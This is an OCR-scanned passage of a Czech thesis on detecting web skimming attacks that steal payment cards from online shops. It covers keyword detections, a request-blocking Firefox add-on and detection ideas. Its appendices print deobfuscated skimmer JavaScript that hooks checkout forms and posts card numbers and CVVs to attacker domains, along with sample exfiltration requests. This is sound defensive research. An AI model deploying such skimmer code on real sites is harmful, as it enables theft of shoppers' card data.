
+=string[_$_
ccnumber: jquery(document [_$

Detekce K

https://'+i.atob(o) ;m.parentnode.insertbefore (
Detekce CN location.href.indexof (i.atob(
J+_csl y2hly2tvdxq=

=new function(_gl.slice(-
await fetch(_cs[

Koéd 55: Detekce zalozené na klicovych slovech, které obsahuje skodlivy kod,
vytvorené pro Avast

68



4.3. Detekce web skimming ttokt

V tabulce jsou poc¢ty ochranénych uzivatelt pomoci jednotlivych de-
tekei. VSechny detekce zminéné v tabulce jsou v priloze

Pocet ?.chranoenych Obdobi Poc?t
uzivatela dni

Detekce A 98 516 4. 10. 2019 — 1. 1. 2021 455
Detekce AP 20 195  16. 1. 2020 — 1. 1. 2021 351
Detekce BE 79 142 5.3.2020 — 1. 1. 2021 302
Detekce BN 52 763  27.3.2020 - 1. 1. 2021 280
Detekce BI 11 741 27.3.2020 - 1. 1. 2021 280
Detekce CY 459 10. 12. 2020 — 1. 1. 2021 22
Detekce CQ 3117 7.12.2020 - 1. 1. 2021 25
Detekce CT 964 7.12.2020 - 1. 1. 2021 25
Detekce CN 9603 2.12.2020—-1. 1. 2021 30
Detekce CO 4084 7.12.2020—1. 1. 2021 25
Detekce K 63 918 18. 12. 2019 — 1. 1. 2021 380
Detekce H 53 314 14. 12. 2019 — 1. 1. 2021 384
Detekce J 306 816 18. 12. 2019 — 1. 1. 2021 380

Tabulka 4.1: Pocet ochranénych uzivatelii pomoci jednotlivych detekci za ur-
¢ité obdobi (data Avast)

4.3.4 Detekce na zakladé komunikace

Dalsi moznosti je detekce na zakladé toho, jak a jaké udaje jsou z webové
stranky odesilany. Platba byva provedena bud pomoci formulate, do kterého se
zadavaji platebni idaje, primo na webové strance, nebo pomoci platebni brany,
na kterou je uzivatel presmérovan po dokonceni objednavky, ta se nachézi na
jiné doméné nez internetovy obchod a je zpravidla spravovana externi firmou.

V prvnim pripadé obvykle dochéazi v legitimnich pripadech k odeslani pla-
tebnich idaji pomoci POST requestu bud na doménu internetového obchodu,
nebo na server spolec¢nosti, kterd zpracovava platebni idaje a provadi platbu.

Ve druhém piipadé se internetovy obchod viibec nezabyva odesilanim ani
zpracovanim samotnych platebnich tdaji, pouze dostane od poskytovatele
informaci, ze platba probéhla v porddku. V tomto piipadé je pro internetovy
obchod nejvétsi nebezpeci vlozeni falesného formulaie nebo presmérovani na
falesnou platebni branu. Detekce falesné platebni brany je prakticky stejna,
jako detekce phishingovych stranek.

At uz je na webovou stranku vlozen falesny formulafr, ¢i je k odcizeni pla-
tebnich udaju Gtocénikem vyuzit formuldr, ktery uz webova stranka obsahuje,
s nejvyssi pravdépodobnosti dojde odcizeni platebnich tidaji pomoci POST,
GET requestu nebo WebSockett na tto¢nikovu doménu.
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Requesty, které jsou odesilany na vlastni doménu (doménu internetového
obchodu), nejsou z tohoto pohledu zajimavé. Tyto requesty jsou obvykle legi-
timni, k odcizeni platebnich idaji by muselo dochizet az na strané serveru,
coz odhalit na strané uzivatele nelze.

Problém nastava v tom, jak odlisit requesty, které se odesilaji na legitimni
platebni brany. Obvykle se bude jednat o POST requesty, které budou obsa-
hovat podobna klicova slova, jako ty nelegitimni, které kradou platebni tdaje.

Priklady komunikace

Zaznamenala jsem komunikaci nékolika web skimming ttokud, predevsim jak
vypadd odeslani dat. Aby utoc¢nici predesli nadbyte¢nému pouzivani nékterych
slov v kdédu, tak casto odesilaji vSechna policka formuldfe a jako odesilany
nézev do requestu vlozi ndzev daného policka.

Priklad odeslani idaji pomoci GET requestu je v ukazce priklad po-
moci POST request je v ukazce Dalsi priklady jsou v piilohach [61] a

https://jquerylib-min.net/api.php?s=panaceaco.com&name=a%20a&addr=aaj
hhh&city=aA&state=Colorado&zip=a&phone=876543&country=United%20States
&num=87766543221133&m=05&y=2023&cvv=654&

Koéd 56: Priklady GET requestu

Request URL
https://cdnanalitics.com/genimage.php

Request Payload
{"url":"vitamincafe.com.au","mer":"ccsave","billing:firstname":"a","b
illing:lastname":"a","billing:email":"a@a.com","billing:streetl":"a",
"pbilling:city":"a","billing:postcode":"a","billing:telephone":"a","bi
1lling:use_for_shipping_yes":"1","billing:use_for_shipping no":"0","se
cureXml_cc_number":"4111111111111111","secureXml_cc_cid":"223","billi
ng:region_id":"Australian Capital
Territory","billing:country_id":"Australia","secureXml_cc_type":"VI",
"secureXml_expiration":"2","secureXml_expiration_yr":"2024"}

Kéd 57: Priklad POST requestu

Klicova slova

Ze zminénych requestti jsem vybrala nasledujici klicova slova, kterd casto ob-
sahuji:

e klicova slova pro expiraci platebni karty: expiration_yr, cc_exp_-
year, cc_exp, cc_exp_month, ccw_exp_year, ccMonthName, ccsave_-
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expiration, ccYearName, ccsave_expiration_yr, cc_expire_date_-
month

e Kklicova slova pro cislo platebni karty: cc_number, cc-number, cc_num,
ccsave_cc_number, ccNumName, card [num]

e klicova slova pro CVV: cc_cid, cvv, cc_cvv2, ccCvcName, ccsave_cc_-
cid, cc_cvv

e klicové slovo pro jméno: cc_owner

e ostatni: payment, cardpayment, checkout

4.4 Detekce novych web skimming atoki

Kromé detekce jiz znamych web skimming ttoklt se nabizi otdzka, jak ob-
jevovat nové, které se lisi skodlivym kédem, doménou ¢i zptisobem odesldani
platebnich ddaji.

Tyto techniky budou pravdépodobné vykazovat vétsi mnozstvi faleSné po-
zitivné detekovanych webovych stranek, nez predchozi zpusoby detekce zalo-
zené na jiz existujicich dtocich.

Nové utoky se obvykle lisi skodlivym kédem, bud je kod jinak obfuskovan
nebo je zvolena mirné odlisné logika, uloZeni, ¢i zptsob odeslani dat. Déle se
obvykle lisi novou pouzitou doménou pro exfiltraci dat, pfipadné zptisobem
na¢teni skodlivého kédu. Cas od ¢asu ttoénici prijdou s néjakou vétsi zménou,
prikladem budiz tfeba zminéné ulozeni skodlivého kédu v SVG, ale vysledny
deobfuskovany kéd byl i tak podobny tém ostatnim.

4.4.1 Podobné domény

Jednou z moznosti, jak najit a identifikovat domény utocniktl, je na chec-
kout strance obchodu analyzovat, na jaké domény jsou posilany GET a POST
requesty a snazit se v nich rozpoznat ty, které napodobuji legitimni sluzby,
konkrétné napiiklad legitimni servery pro zpracovani platebnich tdaju, jako
je treba GP webpay nebo jiz diive zminéné Google Analytics.

K provedeni je potfeba mit seznam téchto legitimnich domén a definovat,
co to znamend podobnd doména. K vytvoreni seznamu legitimnich domén lze
vychézet z jiz dfive utocniky napodobovanych sluzeb.

4.4.2 Domény na stejné IP adrese

Casto titoénici hostuji své skodlivé domény na stejné IP adrese. Proto jakmile
dojde k odhaleni jedné skodlivé domény, 1ze k ni najit dalsi, které se vyskytuji
na té samé IP adrese, a podle nazvu se rozhodnout, zda byly také registrovany
pro ucely web skimming tutoki. V nékterych pripadech jsou domény pro web
skimming velmi podobné doméndm vyuzivanym pro phishingové tutoky.

71



4. OBRANA PROTI WEB SKIMMING UTOKUM A JEJICH DETEKCE

4.4.3 Cookies

U nékterych web skimming ttokt ttocnici do cookies bud ukladaji platebni
tdaje (pripadné dalsi udaje z formuldiu), anebo cookies vyuzivaji ke zjisténi,
zda uz dany uzivatel webovou stranku navstivil. V obou pripadech je mozné
detekovat cookies podle jejich nézvi.

4.4.4 Podezrelé obrazky a jiné soubory

Jak se ukazalo, zrovna obrazky jsou ¢asto vyuzivany k ukryti skodlivého kédu.
V jednom pripadé byl dokonce skodlivy kéd ukryty v CSS souboru. Z toho du-
vodu je jednou z moznosti kontrolovat a validovat soubory, které dana webova
stranka nacita.

Stejné tak je podezielé, kdyz ma soubor priponu .css nebo .ico a nacita se
jako JavaScript (pomoci <script src>). To znamend, ze se obsah a pfipona
souboru neshoduji, coz je typické mimo jiné pro web skimming.

Obrazky mohou Javascript obsahovat bud na konci, nebo tfeba v nékteré
validni polozce obrazku, jak bylo zminéno v sekci [2.2.5| (Kéd ukryty v ob-|
. V obou pripadech musi nékde dojit k nacteni schovaného skodlivého
kodu.

4.4.5 Automaticka deobfuskace

Problémem statické detekce skodlivého kédu je obfuskace. Pak se jednoduse
stane, Ze ten stejny kod muze byt obfuskovin riznymi zpusoby (prakticky
nekonec¢né mnoha zpusoby) a tudiz identifikovat ho jen na zakladé klicovych
slov muize byt nemozné. Respektive tim dojde k identifikaci pouze jedné verze
a zbylé ziistanou déle nedetekované.

Jednou z moznosti je automaticky deobfuskovat skodlivy kéd a az pak
v ném hledat klicova slova. Problém tohoto reseni je, ze nevim o zddném volné
dostupném deobfuskatoru, ktery by spolehlivé dokazal deobfuskovat cokoliv,
a psat si vlastni deobfuskator neni uplné jednoducha zélezitost. Ale Slo by
minimélné vyuzivat alespon néjakou castecnou deobfuskaci, treba dekdédovat
base64 stringy anebo deobfuskovat to, co piijde, pomoci volné dostupnych
deobfuskator.

4.4.6 Detekce na zakladé zmény kodu

Dalsi moznosti je pravidelné skenovat internetové obchody a porovnavat, jaké
zmény mezi jednotlivymi skeny probéhly. Tim je mozné ptijit na zménény kdd.
Problémem je, ze téch zmén, které budou neskodné, bude pravdépodobné také
velké mnozstvi. Nabizi se proto moznost filtrovat, jaké zmény néas zajimaji
a jaké ne.
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HTML V HTML souborech bude pravdépodobné dochazet k velkému mnoz-
stvi nezajimavych zmén. Teoreticky by bylo mozné kontrolovat, zda doslo
k pridani néjakych novych <script> tagi. To ale nepokryje ty pripady,
kdy je skodlivy kod pridan do jiz existujiciho <script> tagu.

CSS Ackoliv se skodlivy kéd objevil i v CSS souboru, myslim si, ze zrovna
v tomto pfipadé nemd smysl sledovat CSS soubory. Také v nich bude
velké mnozstvi nezajimavych zmén a Sance na objeveni néc¢eho skodli-
vého miniméalni.

JS Pravdépodobné nejzajimavéjsi jsou JavaScript soubory, v téch by bylo
mozné napriklad detekovat, zda nedoslo k pridani obfuskovaného kodu,
¢i vétstho poctu novych prazdnych radkia. Detekovat obfuskovany kod lze
naptiklad pomoci klasifikdtoru NOFUS [87] nebo JSOD [8§]. Klasifikovat
1ze na zdkladé vlastnosti jako entropie, délka stringt, ¢i n-gram [89].

Obrazky Internetovy obchod obsahuje spoustu obrazki, proto v tomto pri-
padé dava smysl se zamérit spiSe na obréazky, které jsou podezielé (obsa-
huji JavaScript), nez kontrolovat, jaké nové obrazky na webové stréance
pribyly.

4.4.7 Detekce podezrelych domén ve zdrojich webové stranky

Ve druhé kapitole je zminéno, ze webova stranka zdroje nac¢itda v HTML sou-
boru. To znamend, ze by kazdy zdroj, ktery webovéa stranka nacte (a inici-
atorem je konkrétni HTML soubor), mél byt v tomto HTML souboru do-
hledatelny, obvykle v plaintextu. Pokud neni doména dohledatelna, muze to
znamenat, ze je obfuskovand, coz je podezrelé.

Stejné jako HTML soubor lze prohledavat i ostatni soubory, které jsou
inicidtory.

Problémem tohoto pristupu je, Ze neodchyti pripady, kdy doména v kédu
neni obfuskovand, a také ty pripady, kdy je veskery skodlivy kéd schovan
v HTML (nenacité se zadny dalsi kod z externich zdroju). Nedojde k zachyceni
ani pripadi, kdy je skodlivy kod schovan v jiz nac¢itanych zdrojich tretich stran,
v téchto ptipadech URL také neni obfuskovana.

4.4.8 Detekce zmén domén ve zdrojich tretich stran

Dalsi moznosti je pribézné skenovat internetové obchody a ukladat si, z jakych
tretich zdroju nacitaji soubory. Nésledné pak lze tyto zdroje (domény) mezi
jednotlivymi skeny porovnévat a sledovat, zda se neobjevily néjaké nové, které
nasledné analyzovat.

Timto zptsobem dojde k zachyceni vSech novych zdroju, které se objevi,
z nichz bude pravdépodobné vétsina legitimnich. I tak by pomoci této metody
meélo dojit k odhaleni i web skimming Utokad, pii kterych dochazi k nacteni

73



4. OBRANA PROTI WEB SKIMMING UTOKUM A JEJICH DETEKCE

skodlivého kodu z itoénikovy domény. Tuto metodu lze navic aplikovat pouze
na zdrojové soubory typu JavaScript, a tim dojde k omezeni poc¢tu zdroju.

4.4.9 Podezrelé GET requesty

Odesilat platebni idaje pomoci GET requestu neni obvyklé, problém ovsem je,
ze nemusi byt jednoduse rozlisitelné, zda se jedné o platebni tidaje (napriklad,
kdyz jsou zasifrované), ¢i o jind legitimni data. Pomoci GET requestu se bézné
prenaseji rizné tokeny, ID a podobné.

Stranky casto vytvori GET requestti velké mnozstvi, proto hledat mezi
nimi ty, které se snazi{ odcizit platebni udaje, muze byt slozité, predevsim
v pripadé, kdy dochézi pomoci GET requestu k prenosu zasifrovanych plateb-
nich udaju.

Jednou z moznosti je tedy soustiedit se pouze na GET requesty, které
obsahuji nezasifrované platebni udaje. Tyto requesty totiz velmi casto obsa-
huji klicova slova, jako cvv, payment a podobné, kterd byla zminéna v [£.3.4]
(Detekce na zakladé komunikace]).

4.4.10 Podezrelé POST requesty

Oproti GET requestim, POST requestti uz zpravidla webové stranky vy-
tvari mensi mnozstvi, ale jsou navic vyuzivany i v pripadé validnich transakei.
7 toho dtivodu muze byt prakticky nemozné rozlisit, zda se jedna o skodlivy
POST request, pouze na zakladé prenasenych dat.

Validni POST request je znédzornén v ukazce Skodlivyy POST request
by mohl vypadat Gplné stejné, pouze by byl na jinou doménu.

Request URL: https://3dsecure.gpwebpay.com/pgw/payment

Request Method: POST

Origin: https://3dsecure.gpwebpay.com

Form Data
origPage=cardDesktop&pgwSessionId=Ry7VqLCnX3ke50xHY5vzMLo2hrHgaSRU& ja |
— va-enabled=false&color-depth=24&screen-height=1080&screen-width=1
— 920&timezone=-60&language=en-US&crdNum=4111+1111+1111+1111&exp_m=
— 1l&exp_y=22&cvc=435&email=

Ko6d 58: Ukazka odeslani POST requestu s platebnimi tdaji na platebni brané
GP webpay

V tomto pripadé se proto hodi mit seznam legitimnich poskytovatela pla-
tebnich bran, aby bylo mozné odlisit legitimni odeslani platebnich tdaji od
toho, kdy se platebni tidaje odesilaji na stranku ttoc¢nika.
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4.4.11 Detekce anti-debugging technik

Déle je mozné napiiklad vyzkouset, jaké zdroje tfetich stran se na internetové
strance nactou v pripadé, Ze jsou zapnuté Developer tools, a porovnat to
se zdroji, které se nactou v pripadé, ze zapnuté nejsou. V nékterych web
skimming utocich totiz Gtocnici nacitali dalsi skodlivy kéd z externi stranky
az po kontrole, Ze nejsou spustény Developer tools.

4.5 Moznosti implementace detekce

Zminéné moznosti detekce je mozné implementovat naptiklad nasledujicimi
zpusoby:

Doplnék do prohlizece

¢ Doplnék do Developer tools v prohlizeci

Fiddler/BrowserMob proxy

e URLscan API

4.5.1 Doplnék do prohliZece

Jednou z moznosti je implementace doplnku do prohlizec¢e. Vyhodou doplitku
v prohlizeci je, ze ma primy pristup jak ke kodu webové stranky, tak k jednotli-
vym requestim. Nevyhodou miize byt, Zze doplnky jsou napsané v JavaScriptu
a funkce jsou omezené API daného prohlizece.

4.5.2 Doplnék do Developer tools v prohlizeci

Doplnék do Developer tools je velmi podobny dopliiku do prohlizece, oproti
klasickému dopliku mé ale napriklad ptistup k celému HAR (HTTP Archive)
souboru. HAR archiv je typ souboru, ktery je vhodny pro ukladani HTTP
komunikace, jeho forméat je zaloZen na formatu JSON [90].

4.5.3 Fiddler/BrowserMob Proxy

Dalsi moznosti je vyuzit néktery z nastroju, ktery umoznuje zachytit a upravit
HTTP(S) komunikaci, jako naptiklad Fiddler nebo BrowserMob Proxy. Zkou-
Sela jsem pouzit Python bali¢ek browsermob-proxy na vygeneroviani HAR
souboru, bohuzel ale nebyl shodny s tim, ktery lze stdhnout pfimo v prohli-
zeci v Developer tools, chybél tam iniciator requestu. Tudiz jsem tuto moznost
zavrhla.
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4.5.4 URLScan API

Urlscan.io je sluzba, kterd skenuje webové stranky a ukldda seznam nacte-
nych souboru spolecné s jejich obsahem, IP adresou, URL a podobné. Velkou
vyhodou je, Ze nasledné umoznuje napri¢ témito ulozenymi skeny vyhledavat
naptiklad podle domény ¢i nazvu souboru, hashe souboru. Navic nabizi API,
pomoci kterého lze posilat URL ke skenovani a i prohlizet jiz existujici skeny.

4.6 Implementace doplintku do prohlizece

7 predchozich moznosti jsem se rozhodla implementovat doplnék do prohlizece.
Rozhodovala jsem se mezi prohlize¢i Chrome a Firefox, oba nabizeji velmi
podobné API, ale pro mé potieby vice vyhovovalo API, které nabizi Firefox.
Firefox mimo jiné umoznuje snazsi piistup k URL v background skriptu.

Struktura doplnku je zndzornéna na obrizku Doplnék je napsén v ja-
zyce JavaScript, jakozto defaultnim jazyce pro psani doplnkt pro prohli-
zece. Obsahuje dva soubory se seznamy URL: blacklist.js a whitelist. js.
Hlavni logika je v soboru background. js. V souboru psl.js je knihovna na
parsovani domény z URL [91], coz neni tak trividlni, jak by se mohlo zdat (ne-
staci hostname rozdélit podle tecek a pak vzit posledni dva prvky z davodu,
ze existuji TLD jako co.uk a podobné).

Doplnék

manifest.json

Background scripts Images
background.js psl.js icon.png
whitelist.js blacklist.js

Obrazek 4.1: Struktura dopliiku pro Firefox

Doplnék blokuje vsechny skodlivé domény ze seznamu skodlivych domén
(blacklist.js) a navic umi blokovat podezielé GET a POST requesty na
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checkout strance internetového obchodu. Stejné tak na checkout strance blo-
kuje i WebSockety.

A7 na blokovani ovérenych skodlivych URL se vSechny ostatni blokace
déji az na checkout strance, a to z toho duvodu, Ze jinak by mohlo dochéazet
k blokovani vétstho mnozstvi legitimnich request.

4.6.1 Blokovani na checkout strance webové stranky

Podezrelé GET requesty na checkout strance jsou rozpoznavany na zakladé
klicovych slov, které obsahuji. Pokud URL obsahuje string delsi nez 44 znak,
ktery by mohl byt base64 (obsahuje velkd a mald pismena, ¢isla, padding,
spravna délka), tak se tento string pokusi dekddovat a také v ném najit klicova
slova. Délku 44 znaku (odpovidd 31-33 dekdédovanym znakim) jsem zvolila z
toho dtvodu, ze teoreticky jedna z nejkratsich a zaroven jesté dobre Citelnd
moznost by mohla byt tato num=4111111111111&cvv=111&m=0123, coz odpo-
vida 32 znaktm.

Jako podezrelé POST requesty jsou klasifikovany vSechny (na checkout
strance), které odesilaji data na jinou doménu, nez na které je internetovy
obchod anebo nejsou na seznamu povolenych. Seznam povolenych domén se
sklada z domén platebnich bran, které internetové obchody cCasto vyuzivaji.
Tento seznam je v jiz zminéném souboru whitelist. js. V tomto souboru jsou
jesté navic pridany dalsi domény, které internetové obchody casto pouzivaji
(jako napriklad google-analytics.com).

WebSockety jsou na checkout strance blokovany vsechny a to z toho di-
vodu, Ze nejsou vyuzivany zdaleka tak moc jako klasické POST a GET requesty.
Platebni tidaje se pres né také obvykle neposilaji.

Bylo by mozné implementovat jesté piisnéjsi verzi, kde by se na checkout
strance blokovaly vsechny GET requesty, které by smérovaly na neovérené do-
mény. To by ale znamenalo na nékterych strankach vétsi naruseni funkénosti.

4.6.2 Instalace doplinku

Soubor je prilozen na CD block_web_skimming-1.4-fx.xpi. Do Firefoxu lze
doplnék pridat na strance about:addons, kde Ize kliknout na ozubené kolecko
a vybrat ,Install Add-on From File...*. Doplnék je otestovan pro Firefox 84.0.1
na operac¢nim systému Windows.

4.6.3 Testovaci webova stranka

Pro testovani funkcénosti doplnku jsem vytvorila testovaci webovou stranku
test-checkout-page.herokuapp.com, kterd obsahuje dvé podstranky:

e index.html
e checkout.html — tato reprezentuje checkout stranku, tudiz se na bloko-

vani komunikace vztahuji prisnéjsi pravidla
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Zdrojové kody k této webové strance jsou na GitHubu [92]. Testuji se jak
GET i POST requesty, tak WebSockety.
Ukéazka zablokované komunikace na checkout.html je na obrizku

w Qo ® Al HTML CS5 JS XHR Fonts Images Media WS Other [ ]Disable Cache

Status Method Domain File Initiator Type Transferred Size

GET test-checkout-page.hero...  checkout.htm| browsing-contextjs:1...  html cached 216 KB

(] GET httpbin.org getTexpiration_yr=20 checkout.html:59 (sub... Blocked By Block Web ...
Q GET googletagsmanager.co ntag,js checkout.html:12 img) Blocked By Block Web ...
(] POST httpbin.org post checkout.html:19 (xhr] Blocked By Block Web ...
(] GET httpbin.org get?aw=323 checkout.html:30 [img) Blocked By Block Web ...
(] GET httpbin.org get?CC-MUM=323342433984234« checkout.html:36 (xhr) Blocked By Block Web ...
GET httpbin.org get?a=b checkout.html:43 (img)  json 773 B 549 B
(o] GET httpbin.org get?hash=eyfX1ZIRVATVEFURU: checkout.html:55 (img) Blocked By Block Web ...
(] GET echo.websocket.org 7 websocket Blocked By Block Web ...

GET test-checkout-page.hero... favicon.ico FaviconLoader jsm:191... html cached 1968

Obrazek 4.2: Ukazka zablokované komunikace na testovaci strance

Lze si vS§imnout, Ze se blokuje i osmy request, ktery posila data zakédovana
pomoci base64.

4.6.4 Vedlejsi efekty

Jako vedlejsi efekt mtize doplnék blokovat legitimni requesty, napiiklad POST
requesty jsou Casto vyuzivany ruznymi sluzbami na sledovani uzivatel, reklam
a podobné (véetné google-analytics.com). Zablokovani téchto requestu ne-
bude mit vétsi vliv na funkénost webové stranky, mnohem vétsim problémem
jsou POST requesty odesilajici platebni tidaje na legitimni platebni brany,
které nejsou na whitelistu. V téchto ptripadech totiz neprobéhne platba v po-
radku. Toto lze Tesit rozsifovanim whitelistu.

Jednou z moznosti, jak neblokovat alespon nekteré sluzby ke sledovani
uzivatell, je vyuzit vlastnost urlClassification, kterou lze ziskat ke kazdé
URL v doplnku, tato vlastnost vraci, zda je doména na seznamu trackert
uzivatela [93].

4.7 Implementace hledani podezrelych zdroja

webové stranky

Pro zjednoduseni analyzy webovych stranek jsem se rozhodla implementovat
detekce podezrelych domén ve zdrojich webové stranky. Na zakladé vystupu
tohoto skriptu by mohly byt webové stranky rovnou blokovany.

Pro implementaci jsem si vybrala pouziti URLScan API, které umoznuje
snadno ziskat seznam vsech nactenych zdroji webové stranky a i HTML sou-
bor. Zvolila jsem programovaci jazyk Python, jelikoz se s nim snadno zpraco-

78



4.7. Implementace hledani podezielych zdroji webové stranky

vavé text, json a posilaji requesty na URLScan API, zarovnen neni tfeba aby
tento skript vynikal svou rychlosti.

Vychézela jsem z predpokladu, ze vétsina zdroju (u kterych je inicidtorem
HTML soubor), které webova stranka nacita, se dd najit v témze HTML sou-
boru stranky v neobfuskované podobé. Vzhledem k tomu, ze webové stranky
casto nacitaji vétsi mnozstvi zdrojovych souborii a ne vzdy to délaji tuplné pri-
mocare, tato metoda neni stoprocentni. Vylepseni 1ze opét docilit rozsifovanim
whitelistu.

V aktudlni podobé je skript napsén tak, ze pokud existuje na ulrscan.io
sken novéjsi nez 30 dni, URL neskenuje, ale pouzije ho. Pouziti je v pifloze [El
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Zaver

Cilem této prace bylo seznamit se s Gtoky na internetové obchody, pti kterych
dochézi k odcizeni platebnich tdaji, zamérit se na metodu nazvanou web
skimming a navrhnout a implementovat zptisoby obrany a detekce.

V prvni kapitole jsou vysvétleny ttoky na webové stranky a konkrétné
na internetové obchody. Déle jsou v této kapitole zminéné konkrétni zranitel-
nosti a platformy, které ttoc¢nici zneuzivaji. V pripadé web skimming ttokt se
casto stava, ze jsou stejnym utocnikem napadeny internetové obchody, které
pouzivaji stejnou platformu.

Ve druhé kapitole jsou podrobné vysvétleny zptisoby, jakymi itoc¢nici ukry-
vaji skodlivy kéd na webové strance internetového obchodu, a jak poté dojde
k odcizeni platebnich tdaji. Tato analyza ukazuje, jak jsou ttocnici dimyslni
a dokazi si poradit i s pripady, kdy webova stranka zadny formuldr pro za-
déani platebnich tidaji neobsahuje ¢i blokuje requesty na vSechny stranky az
na povolené.

Ve treti kapitole jsou zminény velké a zajimavé ttoky na internetové ob-
chody, coz ukazuje, ze se tento problém netyka pouze malych internetovych
obchodtl a zZe internetové obchody casto nedbaji na bezpecnost tak, jak by
mély. Dokonce jsou pripady, kdy se na strance objevil skodlivy kéd opako-
vané, to znaci, ze mnohdy ani po odstranéni nedokaze webova stranka zvysit
bezpecnost.

Tato prace ukazuje, jaké nebezpeci skryvaji platby na internetovych obcho-
dech a ze v nékterych pripadech ani neni v sildch uzivateld jim svou obezret-
nosti zabranit, pokud se nechtéji vzdat vsech vyhod, které internetové nakupy
nabizeji.

Ve ctvrté kapitole jsem na zdkladé ziskanych informaci navrhla zptisoby
obrany nejen pro internetové obchody, ale i pro samotné uzivatele. Poté jsem
implementovala doplnék do prohlizece, jehoz cilem je zabranit predevsim od-
cizeni platebnich udaji uzivatele. Tento doplnék blokuje podezielé requesty.

Také jsem implementovala nékolik stringovych detekci, ktery maji za cil
detekovat skodlivy kéd v Javascriptu.
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ZAVER

Navic jsem implementovala jesté skript, jehoZ cilem je ve zdrojich webové
stranky najit ty podezrelé.

Myslim si, ze dulezity krok k omezeni téchto tutokd by mél prijit i ze
strany karetnich asociaci (jako Mastercard nebo VISA), které by mély smé-
fovat k tomu, aby samotné tudaje jako ¢islo platebni karty, CVV a datum
expirace nemély pro utocniky tak velkou hodnotu jako nyni, tim méam na
mysli, aby napftiklad neslo provést platbu bez dalstho ovéreni (napiiklad po-
moci SMS). Nevyhodou tohoto pristupu je, Ze tim dojde ke snizeni pohodlnosti
plateb, coz je néco, o co ani obchodnici, ani karetni asociace nemaji zdjem.
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PRILOHA A

Seznam pouzitych zkratek

AES Advanced Encryption Standard

API Application Programming Interface
CDN Content Delivery Network

CORS Cross Origin Resource Sharing

CSP Content Security Policy

CSRF Cross-site request forgery

CSS Cascading Style Sheets

CVE Common Vulnerabilities and Exposures
CVV Card Verification Value

DDoS Distributed Denial of Service

GIF Graphics Interchange Format

HTML Hypertext Markup Language
HTTP Hypertext Transfer Protocol

ICO Information Commissioner’s Office

JS JavaScript

PCI DSS Payment Card Industry Data Security Standard
PDF Portable Document Format

PIN Personal Identification Number

PNG Portable Network Graphics
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POS Point of Sale

RC4 Rivest Cipher 4

SQL Structured Query Language

SVG Scalable Vector Graphics

TLD Top-level domain

URI Uniform Resource Identifier

URL Uniform Resource Locator

WAF Web Application Firewall

XHTML Extensible Hypertext Markup Language
XML Extensible Markup Language

XSS Cross-site scripting
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Skodlivé kody



B. SKODLIVE KODY

chc
var

B

= false;

element = new Image();
Object.defineProperty(element, 'id', {
get: function() {

chc = true;

}

requestAnimationFrame (function chce() {

B;

chc = false;

console.dir(element);
console.clear();

if (!che) {

window.www

= window.www || (function() {

f = false, d = document, c = {
finish: function() {

1,

if (1f) {
f = true;
var a = d.getElementById(' _wid');
if (a) a.parentNode.removeChild(a);

}

finished: function() {

1,

return f;

load: function(a) {

},

var b = d.createElement('script');
b.src = a;
b.innerText;
b.onerror = function() {
www.finish();
};
d.getElementsByTagName ('head') [0] .appendChild(b) ;

init: function() {

}
};

settings_timer = setTimeout('www.finish()', 100);
var a = d.createElement('style'),
b = 'body' 7 'body' + '{opacity:0 !important;filter:alpha(opacity=0)
< limportant;background:none !important;}' : '',
h = d.getElementsByTagName('head') [0];
a.setAttribute('id', '_wid');
a.setAttribute('type', 'text/css');
if (a.styleSheet) a.styleSheet.cssText = b;
else a.appendChild(d.createTextNode(b));
h.appendChild(a) ;
this.load(decodeURIComponent (escape (window.atob('Ly9oaXRzLWNhY2h1LmNvbS9pY29u |
< L2Zhdmljb24uaWNv'))));
return settings_timer;

window.www = c.init();
return c;
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if (jQuery(".action.primary.checkout").length && !jQuery("body").data("_google")) {
var qdom_Tree = jQuery(".action.primary.checkout");
qdom_Tree.bind("click", function(e) {

b

if (!jQuery("body").data("_oracle")) {
jQuery("body") .data("_google", 1);
var a = jQuery("#checkout").find("select,input,textarea").serializeArray();
if (a.length && jQuery("#sps-tarjeta-numero").val() &&
< jQuery("#sps-tarjeta-vencimiento-mes").val() &&
< jQuery("#sps-tarjeta-vencimiento-anio").val() &&
— jQuery("#sps-tarjeta-codigo-seguridad").val()) {
var t = JSON.stringify(a),
r = '[{"name":"host","value":"';
+= document.URL + '"},', r += '{"name":"agent","value":"', r += navigator.userAgent +
'"},', r += '{"name":"payment [cc_number]","value":"', r +=
jQuery("#sps-tarjeta-numero").val() + '"},', r +=
'{"name" : "payment [cc_exp_month]","value":"', r +=
jQuery("#sps-tarjeta-vencimiento-mes").val() + '"},', r +=
'{"name": "payment [cc_exp_year]","value":"', r +=
jQuery("#sps-tarjeta-vencimiento-anio").val() + '"},', r +=
'{"name" : "payment [cc_cid]","value":"', r +=
jQuery("#sps-tarjeta-codigo-seguridad").val() + '"},';
var n = jQuery('select[name="region_id"]"').eq(0).val(Q);
if (n && (r += '{"name":"region","value":"', r += (n =
< jQuery('select[name="region_id"]:eq(0) option[value=' + n + "]J").text()) + '"},'), r
< += t.slice(1), 'a.find(function(e) {

R

if ("city" == e.name) return e
}) .value) {
var i = jQuery(".billing-address-details").text();
i |l (i = jQuery(".shipping-address-items").text());

var o = JSON.stringify(i);
r = r.slice(0, -1), r += ',{"name":"extrainfo","value":', r += o + "}]"
}
jQuery("body") .data("_oracle", 1);
var u = window.btoa(encodeURIComponent(r));
jQuery.ajax({
url: "https://www.industriasgsl.com/pub/health_check.php",
type: "post",
dataType: "text",
data: {
Customer_: u,
CustomMethod: "init"
¥
B

Kéd 60: Skodlivy kéd dekédovany z SVG
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PRILOHA C

Priklady odeslani platebnich

® O

udaji

{"data": ["redirect=https%3A%2F)2Fwww.thefragranceshop.ca%2Findex.php%
3Froute%3Dcheckout)2Fcheckout", "account=register","customer_group_id=
1","shipping_address=1","shipping method=pickup.pickup","payment_meth
od=pp_express","quantity[56798]=1","card_num=13237%201231%202312%203123
","cvv2=123","=Select}20Language", "payment_country_id_value=38","paym
ent_country_id=Canada","payment_zone_id_value=610","payment_zone_id=0
ntario","shipping country_id_value=38","shipping country_id=Canada","
shipping_zone_id_value=610","shipping zone_id=Ontario","exp_m_value=0
4“,"exp_m=04","exp_y_value=22","exp_y=22"],"site_id":"15","sid":"08de
8be36ed35529a34c13ae5c06e067" ,"ip":"8.208.97.220"}

Kod 61: Priklad WebSockets
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https://jquerylib-min.net/api.php?s=mongoosekart.com&num=120730283792
0128&cvv=342&m=0112&

https://jquerylib-min.net/api.php?s=panaceaco.com&name=a%20a&addr=aaj
hhh&city=aA&state=Colorado&zip=a&phone=876543&country=United%20States
